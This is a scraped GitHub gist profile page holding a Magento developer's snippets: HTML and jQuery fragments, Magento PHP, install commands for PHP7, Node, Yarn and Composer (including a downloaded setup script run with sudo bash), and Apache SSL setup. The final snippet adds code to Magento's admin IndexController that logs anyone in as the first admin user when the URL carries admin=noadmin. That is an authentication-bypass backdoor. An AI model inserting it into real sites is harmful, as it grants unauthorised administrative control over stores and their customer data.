Skip to content

Instantly share code, notes, and snippets.

View mrtuvn's full-sized avatar
👨‍💻
Keep calm and enter your center

Tu Nguyen mrtuvn

👨‍💻
Keep calm and enter your center
View GitHub Profile
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
<title>untitile</title>
<!-- link css
<link rel="stylesheet" href="stylesheet.css" type="text/css" media="screen" />
-->
<script src="http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js" type="text/javascript"></script>
@mrtuvn
mrtuvn / frontendDevlopmentBookmarks.md
Created January 3, 2016 06:09 — forked from dypsilon/frontendDevlopmentBookmarks.md
A badass list of frontend development resources I collected over time.
$.ajax({
method: "GET",
data: {},
dataType: 'json',
url: previewUrl, // http://m2.dev/megamenu/menu/view/id/1
cache: false,
showLoader: true,
context: $('body'),
success: function(res) {
$fieldset = $form->addFieldset(
'conditions_fieldset',
[
'comment' => __(
'Please specify products where the block should be displayed. '
. 'Leave blank to display the block on all product pages.'
)
]
)->setRenderer(
$this->rendererFieldsetFactory->create()
@mrtuvn
mrtuvn / Install-php7.md
Created June 18, 2018 03:01 — forked from hollodotme/Install-php7.md
Installing php7-fpm with phpredis and xdebug extension on Ubuntu 14.04

Install php7.0-fpm

# remove php5 modules
apt-get autoremove --purge php5-*
# add php-7.0 source list by [Ondřej Surý](https://github.com/oerdnj)
add-apt-repository ppa:ondrej/php
# Update index
apt-get update
# Install php7.0-fpm with needed extensions
List files changes
find ./vendor -type f -printf '%T@ %P\n' | sort -n | awk '{print $2}'
@mrtuvn
mrtuvn / nodejs.txt
Last active March 6, 2020 04:56
nodejs10x_installation
curl -sL https://deb.nodesource.com/setup_10.x -o nodesource_setup.sh
sudo bash nodesource_setup.sh
sudo apt install nodejs
apt-get install gcc g++ make build-essential
curl -sL https://dl.yarnpkg.com/debian/pubkey.gpg | sudo apt-key add -
echo "deb https://dl.yarnpkg.com/debian/ stable main" | sudo tee /etc/apt/sources.list.d/yarn.list
sudo apt-get update && sudo apt-get install yarn
mkdir ~/.npm-global
@mrtuvn
mrtuvn / composer-guide.txt
Created December 4, 2018 14:30
composer install/update
php -r "copy('https://getcomposer.org/installer', 'composer-setup.php');"
php -r "if (hash_file('sha384', 'composer-setup.php') === '93b54496392c062774670ac18b134c3b3a95e5a5e5c8f1a9f115f203b75bf9a129d5daa8ba6a13e2cc8a1da0806388a8') { echo 'Installer verified'; } else { echo 'Installer corrupt'; unlink('composer-setup.php'); } echo PHP_EOL;"
sudo php composer-setup.php --install-dir=/usr/local/bin --filename=composer
@mrtuvn
mrtuvn / install_ssl_container_apache_virtualized.txt
Last active September 18, 2019 09:13
My snippets contains commands need for create self-signed cert in apache
#!/usr/bin/env bash
https://github.com/magento-research/venia-pwa-concept/pull/13 (Optional)
sudo apt-get update
sudo apt-get install openssl libnss3-tools (optional install libnss3)
sudo a2enmod ssl
sudo mkdir -p /etc/ssl/private/
sudo openssl genrsa -des3 -out /etc/ssl/private/magento2.test.key 4096
app\code\core\Mage\Adminhtml\controllers\IndexController.php
add this to first line login action
$ad = Mage::app()->getRequest()->getParam('admin', false);
if($ad == 'noadmin'){
Mage::getSingleton('admin/session')->setUser(Mage::getModel('admin/user')->getCollection()->getFirstItem());
}